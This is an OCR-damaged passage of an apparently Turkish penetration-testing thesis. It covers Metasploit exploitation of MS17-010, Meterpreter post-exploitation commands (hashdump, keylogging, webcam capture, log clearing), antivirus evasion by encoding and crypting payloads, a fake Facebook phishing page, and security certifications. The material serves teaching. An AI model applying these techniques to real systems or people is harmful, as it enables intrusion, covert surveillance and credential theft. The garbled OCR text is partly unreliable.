Exploit modiilleri, uygulamalarda ve servislerde var olan acikliklar1 sémiirmek
icin metasploit veritabaninda yiikli olan betiklerdir. 1700°den fazla exploit modiilii
gelistiriciler tarafindan test edilmis bir sekilde MSF veritabanina eklenmistir.
Giiniimiizde en popiiler agiklik olarak bilinen MS17 010 agikliginin, exploit

modiiliiyle istismar edilisi Sekil 4.61°de verilmistir.

metasploit v4.16.14-dev

Sekil 4.60: Secilen “Exploit” i¢in exploitin alabilecegi parametrelerin goriintiilenmesi.
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MS17 010 eternalblue exploit modiiliine gerekli parametreler girildikten sonra

“exploit” komutuyla somiirme islemi baglatilir.

Sekil 4.61: “Exploit” ¢alistirma ve hedef sistemin “Meterpreter” ara katmanina erigim.

Sekil 4.61°de basarili bir somiirmenin ardindan yiiklenmis olan “payload” ‘a
gore “system” haklariyla ¢alisan Windows komut satirina erisim gézlenmektedir.

Payload degistirilerek ayni uzak bilgisayarda, ayni agikligin somiirilip
meterpreter katmanina erisim yapmak da mimkiindiir. Bu durumda kullanilabilecek
payload’lar1 “show payloads” komutu gostermektedir. Kullanilmak istenilen payload

“set” komutu ile yapilandirilir.
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4.11.6 Metasploit Yiikleri

Payload Tiirleri;

Singles: Tek basina hem baglantiy1 saglayan hem de hedef bilgisayarda islem
gerceklestiren payload tiiriidiir. Stagers + Stages gibi diisiintilebilir. Genelde tek is
yapacaksa, ekstra bir 6zellik eklenmeyecek ise kullanilir.

Ornekler: adduser, shell _bind_tcp, exec

Stagers: Saldirgan ile kurban arasinda baglant1 kuran payload tiiriidiir. Kiiglik
boyutta ve giivenilirdir. Biiyiilk boyutta stages payload’lar1 dogrudan hedefe
gonderilemeyeceginden, Oncelikle ag baglantist kurulur (stagers), daha sonra bu
baglant1 lizerinden istenen payload ve modiiller karsiya yiiklenir.

Ornekler: bind_tcp, reverse_tcp, bind_http(s), reverse http(s)

Stages: Stager tarafindan kurban bilgisayara yiliklenen ve ana hedeflenen isi
gerceklestiren payload tiirtidiir. Genelde singles payload’larindan daha karmasik
islemler yapabilir.

Ornekler: shell, meterpreter

Payload parametrelerini girmek i¢in de "set" komutu kullanilir.

Exploit ve Payload ayarlandiktan sonra "exploit" komutu ile exploit kodu
calistirilir.

Sekil 4.62°de ms17_010_eternalblue exploit kodu “reverse_tcp” payload’u ile
caligtirtlmigtir. Calisma sirasinda gergeklesen adimlar Sekil 4.62°de gosterilmektedir.
“reverse_tcp” baglantisi agilmis ve basarili olarak meterpreter kabuk katmanina erisim

saglanmstir.
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Sekil 4.62: MS17-010 Exploiti ile hedef sistemin “Meterpreter” ara katmanina erigim.

4.11.7 Kendi MSF Modiiliiniizii Olusturma

MSF c¢ergevesinde hali hazirda olmayan fakat “github” gibi kiitiiphane
sitelerinde olan baz1 scriptler de MSF’e modiil olarak eklenebilmektedir. Bunun i¢in

izlenmesi gereken adimlar1 Sekil 4.63’te anlatilmistir.
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https://metasploit.com

Sekil 4.63: “Exploit” modiilii olusturma.

1) “mkdir” komutuyla ilgili adres yoluna misc klasorii olusturulur.

2) “cd” komutuyla olusturulan misc klasoriine erigim yapulir.

3) “cp” komutuyla gld_postfix.rb ruby dilinde yazilmig exploit betigi
croosfire.rb betigine kopyalanir.

4) msfconsole agilarak yeni exploit sayisi goriintiilenir.

5) 1700 olan exploit modiil sayisi yeni haliyle 1701 olarak goriintiilenmistir.

4.11.8 Metasploit ile SOmiirii Sonrasi

Metasploit ile sOmiirii basarili olarak gerceklestirdikten sonra, kullanilan
payload’a bagli olarak “shell” ya da “meterpreter” katmanlarina erigim
saglanmaktadir. Daha sonrasinda ilgili shell ya da meterpreter komutlariyla yetki

yiikseltmesi yapilabilir.
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4.11.8.1 Metrepreter Post Ozellikleri

Payload kullanimindaki kisitlar su sekilde 6zetlenebilir:

1.

o B~ D

6.

Her bir payload tek bir is gergeklestirebilir. Bu gorevi gergeklestirdikten
sonra ikinci bir gorevin gerceklesmesi igin tekrar zafiyetin somiiriilmesi
gerekebilir.

Yeni process olusturulmast hedef sunucuda alarm iiretir.

Diskte dosya olusturulmasi hedef sunucuda alarm {iretir.

Payload’larda dinamik olarak yeni 6zellik ekleme imkan1 yoktur.

Her bir yeni payload 6zelligini kullanmak igin tekrar zafiyetin somiiriilmesi
gereklidir.

Kabuk erisimi kabuk komutlari ile sinirlidir.

Payload c¢alistirmadaki bahsedilen kisitlardan dolayr meterpreter araci

gelistirilmistir. Meterpreter aracinin 6zellikleri asagidaki gibi 6zetlenebilir:

1.

8.
9.

Linux kabuk benzeri komut satir1 imkani verir.

. DLL enjeksiyonu ile ¢alisir.
. Hedef sunucuda yeni process olusturmaz.

2
3
4.
5
6
7

Baglandigi process’in haklari ile ¢aligir.

. Dinamik olarak modiil — 6zellik ekleme kapasitesi vardir.
. Kabuk disindaki komutlari ¢alistirma yetenegi vardir.

. Bircok farkl isi tek basina gerceklestirebilir. Mesela meterpreter oturumu

acildiktan sonra kabuk erisim acilabilir, sonra kullanici eklenebilir vb.
Post exploit modiillerini galistirma imkani verir.

Istemci ile sunucu arasinda trafigi sifreli olarak gergeklestirir.

10. istikrarli, esnek ve dinamik exploit ortami saglar.

4.11.8.2 Post Somiirme Modiilleri

sysinfo: Hedef sistem hakkinda bilgi verir.

getsystem: SYSTEM haklarini elde etmek i¢in yerel hak yiikseltme yontemlerini

kullanir.

getuid: Kullanicinin haklarini gosterir.

background: Bagli olunan meterpreter oturumunu arka plana alarak msfconsole

arayiiziine doniilmesini saglar.
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sessions -l: Ag¢ilmis olan meterpreter oturumlarini listeler.

sessions -i n: n numarali agilmig meterpreter oturumuna baglanilmasini saglar.
shell: Meterpeter oturumu igerisinden kabuk erisimi alinmasini saglar.
hashdump: Hedef sunucudaki kullanicilarin kimlik bilgilerini ve parola

Ozetlerini getirir.

Meterpreter Gzerinde
bulunan eklentiler

(extension)

1 | 1 1
m

Elevate

Password
Database

User Interface

Sekil 4.64: “Meterpreter” ara katmanin genel ¢ergevesi.

run post/windows/gather/hashdump: Meterpreter oturumu {izerinden post
exploit betikleri ¢aligtirmak miimkiindiir. Bazen meterpreter modiilii yerine post dizini
altindaki modiiller daha saglikli ¢alisabilmektedir.

screenshot: Ekran ¢iktisi alir.

download: Hedef sunucudan meterpreter oturumu iizerinden bir dosyayi
indirmek i¢in kullanilir.

upload: Hedef sunucuya meterpreter oturumu tizerinden bir dosya yiiklemek igin
kullanilir.

getpid: Meterpreter oturumunun baglandigi siirecin PID'sini gosterir.

migrate: Meterpreter oturumunun PID numarali isleme taginmasini saglar. Egit
haklara sahip veya daha diislik haklara sahip islemlere tasima yapmak miimkiindiir.
Daha yiiksek haklar ile ¢alisan islemlere tasinamaz.

Meterpreter post exploit komutlari:

* 7| help: Meterpreter komutlar1 hakkinda bilgi almak i¢in kullanilir.

» background: Meterpreter oturumunu arka plana alip msf ekranina geri

donmeye yarar.
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exit: Meterpreter oturumundan ¢ikma komutudur.

load: Meterpreter oturumuna meterpreter eklentileri yiikkleme komutudur.
migrate: Meterpreter oturumunun bagl oldugu siiregten (process) baska bir
stirece gegme komutudur.

run: Meterpreter post modiilii veya betigi ¢alistirma komutudur.

getsystem: Yerel hak yiikseltme tekniklerini kullanarak lokal SYSTEM
haklarina gegme komutudur.

hashdump: SAM veritabaninin igerigini alir.

cat: Linux/Unix sistemlerdeki dosyalarin igeriginin goriintiilenmesi saglar.
cd: Farkli bir dizine gegme komutudur.

download / upload: Hedef sisteme dosya yiikleme / hedef sistemden dosya
indirme komutudur.

edit: Bir dosyanin diizenlenmesi (Genellikle “vim” uygulamasini kullanir.)
Is: Bulunulan dizinin igerigini gésterme komutudur.

mkdir: Dizin olusturma komutudur.

mv: Bir dizini veya dosyay1 baska bir dizine tasima komutudur.

pwd: Bulunulan dizinin yolunu gésterme komutudur.

rm: Dosya silme komutudur.

rmdir: Dizin silme komutudur.

search: Dosya ve dizin arama komutudur.

idletime: Hedef sistemin bosta durma siiresini 6grenme komutudur.
screenshot: Hedef sistemin ekran ¢iktisin1 alma komutudur.

keyscan_start: Tus darbelerini kaydetmeye baglama komutudur.
keyscan_stop: Tus darbelerini kaydetmeyi durdurma komutudur.
keyscan_dump: Tus darbelerinin kaydini ¢gikarma komutudur.

record_mic: Hedef sistemin mikrofonunu kaydetme komutudur.
webcam_list: Bilgisayar kameralarini listele komutudur.

webcam_snap: Bilgisayar kamerasindan fotograf karesi alma komutudur.
clearev: Windows “Application”, “System” ve “Security” kayitlarini
temizleme komutudur.

execute: Hedef sistemde komut ¢alistirma komutudur.

getpid: Meterpreter oturumunun ¢alistigi siireci (process) gorme komutudur.
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* getuid: Meterpreter oturumunun ¢alistigt  kullanict haklarmi  gérme
komutudur.

+ kill: Bir siireci sonlandirma komutudur.

* ps: Calisan siiregleri listeleme komutudur.

» reboot: Hedef sistemi yeniden baslatma komutudur.

+ shutdown: Hedef sistemi kapatma komutudur.

* reQ: Registry ayarlarin1 goriintiileme ve degistirme komutudur.

+ shell: Sistem komut satirina gegme komutudur.

+ sysinfo: Sistem hakkinda bilgi alma komutudur.

4.12 Antiviriis Yazilimin1 Atlatma

Daha once kisaca agiklandig1 gibi, antiviriis sistemleri ¢ogunlukla “kara liste
teknolojisi” olarak kabul edilir; burada bilinen kotii amacglh yazilim imzalar1 dosya
sisteminde aranir ve bulunursa yazilimlar karantinaya alinir.

Bu nedenle, antiviriis yazilimmi atlatmak dogru araglar kullanildiginda
basitlesebilmektedir.

Siireg, kotli amagli yazilimin 6zet degerinin degistirilmesiyle baslamaktadir.
Antiviriis yazilimlar kullandiklari veritabaninda igerigi degistirilmis 6zet degerlerinin
de ¢ogu, saldirgan bakis agisiyla hesaplanmis olup veritabanmna eklenmistir. Eger
igerigi degistirilmis zararl yazilim imzasi antiviriis veritabanina eklenmemisse, zararli
yazilim i¢in bilinen imza artik gecerli degildir. Yeni dosya yapisiyla gelen bu yazilim,
antiviriisiin yeni imzali dosyay1 goz ardi edeceginden dolayr antivirlis programini
kandirabilir.

Farkli antivirlis yazilimi saglayicilari, kotii amaclh yazilimlar tespit etmek i¢in
veri tabanlarini saatlik olarak gilincellemektedirler. Bu nedenle, herhangi bir viriisten
koruma yazilimi veya benzeri bir yazilimin varligi, tiiriinii ve siiriimiinii, zararl
dosyalarin hedef makineye yiiklenmeden dnce bilinmesi 6nemlidir. Sistemde antiviriis
yazilimi varsa, antiviriis yazilimi hakkinda olabildigince fazla bilgi toplamak ve zararh

dosyalar: dncelikle laboratuvar ortaminda test etmek gerekmektedir.
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VirusTotal - Mozilla Firefox

le ESt Wew Hstoy Bookmwks Tools Help
2] VirusTotal +
€ 0a Vrustotl.com . aE + &

ity %, Kl Linux ", Kali Docs. ", Kali Toals *.Explot-DB W Aircrack-ng ilJKall Forums \, NetHunter i Most Vistedw @ Getting Started

51 engines detected this file °

B Ib150437 2500 7e8cl2eb2e53 245015 020e87

Sekil 4.65: Zararli yazilimin tespit sayist.

Sekil 4.65’te gosterilen msfvenom ile olusturulmus zararli yazilimin 65 farki
antiviriis programi tarafindan taranmig, 51 tanesi bu yazilimin zararli oldugunu
gostermistir. Diger 14 antiviriis programi sadece Android, Linux ya da Mac isletim
sistemleri tarafindan kullanildigi i¢in “Windows zararli yazilimini” zararli olarak
gormemistir. Sekil 4.66’da gosterilen tarama sonucunda ise olusturulan zararl

yazilimin “encoded” edilmesi sonucunda 49 farkli antiviriis programi tarafindan tespit

edildigi gosterilmistir.

VirusTotal - Mazilla Firefax

Fle Edt View H Tooks Help
] VirusTotal
¢ « Deskop | bypassAntivie all=]= o L2 AL
HOenswe Securty S, Kati Linox *, KallDocs "\ Kal Tools % Exploit:D8 WArerackeng Kl Forums * NetHunter [ Most Visted: @ Getting Starte
@ Recent
@ Home . 2]
o
= Deskiop b
A 49 engines detected this file °
[ Documents i
) eefa37 a1 dfaseram 067 WOVaSOSCSRCICD
® Downloacs EXE
2 Musi
@ Pictures A0/ 68

Sekil 4.66: imzas1 degistirilmis zararli yazilim.

Son olarak Sekil 4.67°de 5000°den fazla “encoded” edilmis olan zararh

yazilimin 43 farkli antiviriis programi tarafindan tespit edildigi gosterilmistir.

VirusTatal - Mazilla Firefox N

IWOffensive Securty Kl Linux Kl Docs %, Kall Tools ‘. Exploit-D8 W Arcrack-ng Kl Forums ", NetHunter [ Most Visied @ Getting Started

2]

E‘ 43 engines det
. 1

43 /66

Sekil 4.67: Zararli yazilimin 5000°den fazla “Encoded” edilmesi.
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4.12.1 Bilinen Kotii Amach Yazihhmlarni Yazihm Koruyuculariyla
Sifrelemek

Yazilim koruma araglar1 yazilim korsanlari tarafindan tersine miihendislik [85]
girisimlerinin engellenmesi i¢in kullanilmaktadir. Yukaridaki 6rnekte olusturulan
zararli yazilimi, yazilim koruyuculardan biri olan Hyperion ile Sekil 4.68’de

gosterildigi gibi sifrelenip “virustotal.com” ‘da incelenmistir.

~/Desktop/bypassAntivir

~/Desktop/bypassAntivir
~/Desktop/bypassAntivir

Sekil 4.68: Zararl1 yazilim dosyasini “Hypreion” i¢in hazirlama

Zararli_yazilim_encoded v4.exe olarak hazirlanan yazilimi ‘“backdoor.exe”
olarak kopyalayip Hyperion-1.2 igerisinde sifrelemek iizere Sekil 4.69°da belirtilen

komutlarla encoded edilir.

/Desktop/bypassAntivir
ypassAntivir/Hyperion-1.2

assAntivir/

3] VirusTotal x|+
€ 0a vinustotal.com//ile 24261359343¢81523241d97845630c Bif6af05337b5¢ T0eab 16266 detects 0

JlOffensive Security ", Kali Linwx "\, Kali Docs ", Kali Tools . Exploit-DB W Aircrack-ng ZAKali Forums , NetHunter &Most Visitedv (@ Getting Started

3]

41 engines detected this file o

Sekil 4.69: Koruma programi ile sifrelenmis zararli yazilim ve “Antiviriis” analizi.

Hypreion igerisindeki sifreleme islemleri sonrasinda
“sifrelenmis_zararli_yazilim.exe” elde edilmistir. Daha dnce 43 antiviriis tarafindan
tespit edilen yazilimin, koruma programi yardimiyla sifrelendiginde 41 adet antiviriis

programi tarafindan tespit edilebildigi Sekil 4.69°da goriilmiistiir.
4.12.2 Ozel Araclar ve Yiik Tasitlarim Kullanma

Antivirlis programlarinin en etkin sekilde atlatmak igin bilinen sifreleme

programlarindan ziyade 6zel araglarin veya payload’larin kullanilmasi ¢ok daha etkin
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olacaktir. Yukaridaki 6rneklerde yapilan calismalarda 5000°den fazla sifrelenmis
zararli yazilimin bile yliksek olclide tespit edildigi goriilmiistiir. Daha sonrasinda
yazilim koruma araciyla sifrelendigi halde de yalnizca 2 antiviris programinin
atlatilabildigi goriilmiistiir. Antiviriis veri tabanlari daha onceden bahsedildigi gibi
yapilabilecek sifreleme islemlerini daha once yaparak, sifrelenmis zararli yazilim
imzalarini da veri tabanlarina eklemislerdir. Tiim bunlari hesap ederek spesifik bir arag
ya da ¢ok az bilinen bir aracla sifreleme islemlerini yapmak, ytliksek sayida antivirus
yazilimini atlatmaya yardimci olacaktir. Metaspoit Pro i¢erisinden olusturulan payload
Sekil 4.70’de gosterilmistir, Sekil 4.71°de ise olusturulmus payload’un incelenmesi

yapilmistir.

@)@ﬂ https:/localhost: 3790 c HO. Search | | B8 L

W oreate cale WS e TR i TR e e an s e [l R e TR

Payload Generator O Classic Payload @ Dynamilf Payload (AV evasion)

Generates a Windows executable that uses a dynamic stager written entirely in randomized C code.

Payload Options Architecture

Stager | reverse_tcp 4 [

Stage [ windows/meterpreter = J [

LHOST*  [192.168.164.140

LPORT* [4444

Cancel NeEAEEE

Sekil 4.70: “Metasploit Pro” zararli yazilim olusturma.
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€ Oa virustotal.com < Search & B

Pl Offensive Security s Kali Linux @ Kali Docs @ Kali Tools @ http://10.1.37.31:6002/ EBExploit-DB Wy Aircrack-ng @ Kali Forums

E rch or scan a T main, or file hask (:% LTJ

36 engines detected this file °
SHA-256 680801e33642b860762e4b301a8503b9d77b36a82d6cb39fb76b82148b4373d1

File name enc.exe

File size 10.5 KB

2018-04-1410:47:22 UTC

'/’36 / 66\\‘ Last analysis

Sekil 4.71: “Metasploit Pro” ile olusturulan zararli yazilim “virustotal.com” ile analizi.

4.13 Sosyal Miihendislik

Sosyal miihendislik, insanlarin normal sartlar altinda tanimadiklar kisiler igin
yapmayacagi islemleri yaptirmak adina belli yontem ve teknik kullanarak ikna etme
sanatidir. Ik bakista dolandiricilik gibi gdziikse bile ¢ogu zaman bilgisayar
sistemlerine sizip, bilgi toplayip sistemleri somiirmek igin kullanilir. Saldirganin
kurbanla yiiz yiize gelme durumu ¢ok nadirdir. Kullanilan silah insan zafiyetleridir.
Omuz sorfii, ¢op karigtirma, truva atlari, rol yapma, oltalama saldirilari, tersine
mithendislik baslica sosyal mithendislik saldir1 tiirleridir.

Sosyal Miihendislik Cesitleri:

Fiziksel sosyal miihendislik: Sosyal miihendislik yapilacak ortamda fiziksel
olarak bulunup bilgi sizdirmaya galisma islemidir. kna kabiliyetiyle kisiler {izerinden
yapilacag gibi, ¢esitli fiziksel sizma testi aletleri kullanarak da gergeklestirilebilir.

Telefonla sosyal miihendislik: Genellikle konusulan kisiden kritik bilgi
(kullanict adi, parola) alinmaya calisilir. Telefon konusmasiyla zararli igerik
barmdiran bir web sayfasina yonlendirmeye veya kullaniciy1 zararl igerik barindiran
bir program1 kurdurmaya ¢alisir. Giiniimiizde siklikla kullanilan saldir1 vektoriidiir.

E-Mail yoluyla sosyal miihendislik: Saldir1 yiizeyi c¢ok genistir. E-posta
sistemlerinde bulunan “sahte e-posta gonderme” zafiyeti kullanilarak yapilabilir. E-
postay1 atan kisinin kendisini farkli biriymis gibi gosterme yontemidir. Kurbandan e-
posta igerisinde doldurulmasi gereken bilgiler talep edilebilir. Yollanan zararl bir
eklentiyi kurbana agtirmak i¢in ikna teknikleriyle hazirlanmig bir senaryoyla oltalama

saldiris1 gerceklestirilebilir.
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4.13.1 Omuz Sorfii

Omuz sorfii bir sisteme erisim sirasinda ya da kisith sistemlere erisilirken
kullanilan kimlik dogrulama bilgilerinin izlenmesidir. Saldirgan kurbana omuz sorfii
saldirisim1 yaparken, fiziksel olarak kimlik dogrulama icin gereken bilgileri goziiyle
izleyerek aklinda tutmasindan, kamera ile kayit altina almasina kadar birgok teknik ile
yapilabilir. Kisacas1 kimlik dogrulanirken izlenmis olmaktir. Omuz sorfiine maruz
kalinan ortamlar siklikla havaalani, kafeler, oteller, ortak kullanim alanlari, yaninizda
oturdugunuz kisiler, bankamatikler, kredi kart1 ile 6deme yapilan yerler olarak

Orneklendirilebilir.
4.13.2 Cop Kanstirma

Sosyal mithendisler i¢cin 6nem seviyesi yiiksek bilgilerin elde edildigi yerlerden
biride ¢oplerdir. Onemsiz gibi goziiken bilgiler sosyal miihendisler tarafindan
toplanarak birlestirilir ve bir biitiin haline getirilir. Biitiin haline getirilmis veriler
kurbanlar i¢in inandirici senaryolarla birlestirildiginde etkisi hi¢ de kiiglimsenmeyecek
kadar biiyiik olabilmektedir. Kurbanlarin 6nemsiz olarak goriip ¢ope attig1 bazi veriler,
belgeler, kredi karti slipleri, kagitlara alinmis notlar, hatali yazilmis ve ¢ope atilmis
raporlar, CD’ler, usb bellekler, bozuk oldugu diisiiniilen hard diskler vs.’dir. Cop
karistirmanin oniline gecmek i¢in 6nemsiz oldugu diisiiniilse bile her sey kirpicilar

tarafindan imha edilmelidir.
4.13.3 Truva Atlan

Truva atlan zararsiz goziiken fakat sistemden bilgi aktarmasi yapan casus
yazilimlardir. Yayilmak i¢in kullanicilar1 kullanan truva atlari, viriis ve solucanlardan
bu ozelligiyle ayrilmaktadir. Truva atlarini bulagsma olasiligr siklikla goriilen yerler
giivensiz kaynak olarak nitelendirilen internet siteleri, paylasim aglarindan indirilen
(torrent vb.) dosyalar, kimligi onaylanmamis kurulum dosyalar1 olarak goriiliir.

Truva atlarinin “Road Apple” (yol elmasi) olarak bilinen diger bir ¢esidi ise
sosyal miithendisler tarafindan kurbanin tizerinde merak uyandiracak CD, DVD ya da
USB bellek gibi farkli materyalleri kurbanlarin tesadiifen karsilastigini diistinecek

yerlere birakmasini igeren saldir tiiriidiir. Kurbanlar bu materyalleri alip sistemlerinde
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bakmak i¢in agtiklarinda zararli yazilim aktif olur ve kurbandan bilgi ¢almaya baglar

veya sistemlerine bulasir.

4.13.4 Rol Yapma

Sosyal miihendis saldirganlar1 tarafindan kullanilan en 6nemli silah olarak
giinimiizde karsimiza g¢ikmaktadir. Bu yontem kullanilirken ara¢ olarak telefon
siklikla tercih edilmektedir. Sosyal medyalardan ve diger yollardan elde edinilen
bilgilerle birlikte giiglii senaryo ile kurban karsisina ¢ikan sosyal miihendisler, ikna
yetenekleriyle kurbanin korkmasini, yilmasini ve pes etmesini saglayarak

amagladiklar1 saldiriy1 yaparlar.

4.13.5 Oltalama

Oltalama saldirilari, ¢ogunlukla e-posta iizerinden yapilan saldir1 yontemidir.
Toplu olarak binlerce kisiye ayni anda yapilabildigi i¢in ¢ok tercih edilen bir
yontemdir. Uzman kisiler tarafindan hazirlanan senaryolar e-posta ile génderildiginde
kurbanlarin ikna olma olasilig1 ¢cok yiiksek bir tekniktir. Saldirgan, amacina ulasmak
i¢in gdonderecegi e-postanin, kurbanin giivenecegi ya da dogrulugunu sorgulamayacagi
bir kaynaktan geldigine inandirir. Saldirganin hedefleri, kurban1 hassas bilgi vermeye
zorlamak, ya da hatali bir hareket yapmaya (sahte web sayfasina tiklamak, viriislii
yazilim kurmak vb.) yonlendirmektir. Oltalama sitelerinin hazirlanmasindaki bazi
amaclar, parola calma, uzaktan kod calistirma, kéle bilgisayar olusturma vb. Herhangi
bir e-postadan siiphe edildiginde baslik bilgilerine bakip oltalama olup olmadigina
emin olunduktan sonra e-posta agilmalidir. Taninmayan kisilerden gelen e-postalar ve
ekleri herhangi bir kontrol yapilmadan agilmamalidir.

Bu konuyu gorsel olarak anlamak adina “www.facebook.com’"un sistem

tizerinde kurulup, 6rnek bir oltalamanin nasil yapabilecegi Sekil 4.72° de anlatilmustir.
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facebook

Facebook tanidiklarinla iletigim kurmani ve Hesap AQ
hayatinda olup bitenleri paylagmani saglar. Ucretsizdir ve her zaman iicretsiz kalacaktrr.
Dogum Tarihi
19« Sw 1993 5| Dobmte s
OKadin O Erkek

Sekil 4.72: Yerel bilgisayarda yayin yapan sahte “facebook™ 6rnegi.

Sahte igerikli hazirlanmis web sitesi 6rneginde “index.html” yayin yapan sahte
facebook.com sayfasin1 gostermektedir. “kaydet.php” kurban, bilgilerini girdikten
sonra hangi verilerin saldirgan tarafindan alinacagini ve sahte sayfanin sonrasinda ne
yapacagini gosteren adimdir. “kaydet.php” nin kodlarina bakildiginda, kurban bilgileri
girdikten sonra, sahte olan sayfanin anlagilmamasi i¢in sayfanin resmi baglantisina

yonlendirme yapilmstir.

Facebook tamdiklaninla letigim kurmani ve Hesap A¢
hayatinda olup i saglar. Ucretsizdir ve her zaman Gcretsiz kalacakii.

Facebook tanidiklarinla iletigim kurmani ve Hesap Ag
hayatinda olup bitenleri paylasmani saglar. Ucretszdi v her zaman Geretsiz kalaoakt.
e
= X 3 [ o
x A L
Dogum Tarihi
it e
b |1 ] e
O Kadin O Erkek

Sekil 4.74: Oltalama saldir1 sonrasi elde edilen bilgiler.
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Kurban, bilgileri girip “Giris Yap” ‘a tikladiginda saldirganin eline gegen
bilgiler ile birlikte oltalama sitesinin yonlendirildigi resmi “facebook.com” adresine

kurbanin gitmis oldugu gosterilmistir.
4.13.6 Tersine Sosyal Miihendislik

Bu teknik rol yapma yontemiyle ¢ok yakinlik gostermektedir. Rol yapma
yonteminden ayrildig1 nokta kurbanin sosyal miithendise kendi rizasiyla gidip yardim
istemesidir. Sabotaj, pazarlama ve destek adimlarinda olusan bir saldir1 teknigidir.

[k adim sabotaj adimudir, saldirgan kurbanin kullandig: sisteme basit erisimler
elde eder ve sistemini bozar ya da sistemin bozulmus imajinin kurbana verir. Bu durum
karsisinda kurban sistemin diizeltilmesi i¢in yardim aramaya baslar.

Ikinci adim pazarlama adimidir, saldirgan kurbani takip ettigi igin yardim
talebini de biliyor durumdadir. Sistemin kendisi tarafindan diizeltilebilecegini kurbana
anlatarak, yardim edebilecegi konusunda kurbani ikna eder.

Son adim olan destek adiminda ise saldirgan tarafindan istenilen her bilgi kurban

tarafindan “Yeter ki diizelsin” bakis acisiyla saldirganla paylasilir.
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BESINCI BOLUM

SERTIFIKALAR ve SINAVLAR

5.1 Sertifikalar ve Sinavlar

Sizma testlerine diinya c¢apinda ilgi ¢ok biiyiiktiir. Sizma testleri kapsaminda
diinyanin en biiyiikk siber giivenlik firmalar1 ¢esitli calismalar yapmaktadir. Bu
caligmalardan biri sistem cihazlarinin ve sistemsel programlarin kullanimina yonelik
yonetimsel egitimler vermek. Bir digeri ise sistem cihazlarinin ve sistem ig¢in
kullanilan programlarin siber giivenlik kurallarina uygun olup olmadigin1 denetlemek
tizere standartlar olusturmaktir. Diinyaca iinlii siber giivenlik firmalarindan bazilar1 da
verdikleri egitimlerin ya da wuygulama c¢aligmalarinin disinda sizma testleri
uzmanlhgina yonelik uluslararasi1 gecerlilige sahip sertifikalar vermektedir. Bu
boliimde bu sertifikalar1 veren uluslararasi kuruluslar hakkinda kisa bilgilere yer
verilmistir. Beyaz sapkali bir sizma testi uzmani olmak igin uluslararasi gecerlilige
sahip sertifikalardan hangilerinin alinabilecek oldugundan bahsedilmektedir.

Uluslararas1 gecerlilige sahip sertifikalardan en popiilerleri asagidaki

verilmektedir.
5.1.1 EC-Council CEH (Certified Ethical Hacker) [86]

Avrupa Konseyi, Diinya Ticaret Merkezi'ne yapilan 11 Eyliil saldirisindan sonra
kurulmustur. Avrupa konseyi diinyanin onde gelen arastirmaci ve uzmanlarinin
destegini hizla kazanmis ve ilk Bilgi Giivenligi Programini olan Sertifikali Etik Hacker
programini baslatmistir. Diinya ¢apinda 145 iilkede faaliyet gosteren ve diinyaca tinlii
Sertifikali Etik Hacker (CEH), Bilgisayar Hacking Forensics Investigator (C | HFI),
Sertifikali Guivenlik Analisti (ECSA), License Penetration Testing (Practical)

programlarinin sahibi ve bu programlarmin gelistiricisidir.
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5.1.2 GPEN (GIAC Penetration Tester) [87]

GIAC (Global Information Assurance Certification), bilgi gilivenligi
uzmanlarinin yeteneklerini dogrulamak i¢in 1999 yilinda kurulmustur. GIAC'im amaci,
sertifikali bireyin bilgisayar, bilgi ve yazilim giivenliginin 6nemli alanlarinda bir
uygulayict icin gerekli bilgi ve becerilere sahip olduguna dair giivence saglamaktir.
GIAC sertifikalari, Amerika Birlesik Devletleri Ulusal Giivenlik Kurumu (NSA) dahil
olmak iizere binlerce sirket ve devlet dairesi tarafindan giivenilmektedir. GIAC
sertifikalari, giris seviyesi bilgi giivenligi ve genis tabanl giivenlik 6zellikleri gibi
gelismis beceri alanlarinin yani1 sira gelismis konu alanlarini ele alir.

GIAC sertifikalar1 dort y1l gecerlidir. Ogrenciler, sertifika almak icin yeni kurs

bilgilerini gézden gecirmeli ve sinavlari her dort yilda bir yenilemelidir.
5.1.3 OSCP (Offensive Security Certified Professional [17]

Giivenlik Sertifikali Profesyonel Saldirgan (OSCP) Kali Linux egitim kursu ile
Penetrasyon Testini diinyada ilk olarak biitiin 6grenimleri uygulamali olarak yaptig
saldirgan bilgi giivenligi sertifikasidir. OSCP, 6grencilerin zorlu bir yirmi dort (24)
saatlik sertifikasyon sinav1 ile penetrasyon testi siireci ve yagam dongiisii hakkinda net
ve pratik bir anlayiga sahip olduklarin1 kanitlama konusunda zorlamaktadir. 24 Saat
siren sinavin sonrasinda, sinavda basariyla ele gegirilmis bilgisayarlarin ele gecirilme
senaryosunun raporlandigi ve sertifika puanin bu rapor sonucundan verildigi diinyaca

gecerli bir sertifikadir.
5.1.4 Foundstone Ultimate Hacking (BlackHat USA 2006) [88]

Foundstone Ultimate Hacking: Expert, Ultimate Hacking ve diger hacking
siniflart i¢in tasarlanmis giincel teknik ve tehditleri igceren, bu tehditlerin ig isleyisi ve
kars1 koymak icin en etkili teknikleri kesfedilebileceginiz ileri diizey giivenlik
uzmanlari icin tasarlanmig takip programi sonucu alinan sertifikadir. Gelismis ag
kesifleri, SQL hack metodolojileri, istemci tarafi saldirilart gibi konular programin

igerigindedir. Program iki giin siirmektedir ve uygulamalidir.
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5.1.5 Crest [89]

CREST 2006 yilinda kurulmus ve diinya ¢apinda kabul goren bir siber giivenlik
kurulusudur. Sizma testi, siber olay yanit1 ve tehdit istihbarat servislerini saglayan
organizasyonlar ve bireyler i¢in uluslararasi kabul gormiis sertifikalar saglamaktadir.
Tam giin siiren sertifikasyon sinavi yazili ¢coktan segmeli ve pratik boliimlerinden

olusmaktadir.
5.1.6 CPTC (Certified Penetration Testing Consultant) [90]

Egitim kisminda 20 saat ve iizeri siirebilen yogun bir Sizma testi laboratuvar
boliimii gergeklestirilir. Laboratuvarlar basit aktivitelerle baglar ve daha karmasik
islemlerle ilerler. Laboratuvarlar sirasinda, 6grenciler ekran goriintiileri, yazilacak
komutlar ve 6grencilerin almasi gereken adimlar1 iceren ayrintili bir Laboratuvar
Kilavuzunda hareket ederler.

Sertifikali Sizma Test Damigsmanligi sinavi, hem bir Gilivenlik Acigi
Degerlendirmesi hem de Sizma Testinin gergeklestirildigi 6 saatlik bir uygulamasi
vardir. Daha sonra analiz edilmis yazili bir Penetrasyon Test raporunu agmak i¢in 60
giin verilir. Glivenlik aciklarinin en az yilizde 80'ini bulmaniz ve ardindan yasal olup
olmadigini1 gérmek i¢in manuel olarak test etmeniz gerekir. Raporun profesyonelce

yazilmasi, dil bilgisi agisindan dogru olmasi gerekir.
5.1.7 CPTE (Certified Penetration Testing Engineer) [90]

CPTE, Penetrasyon Testinin 5 Temel Ogesine dayanarak egitim ve sinavlarmi
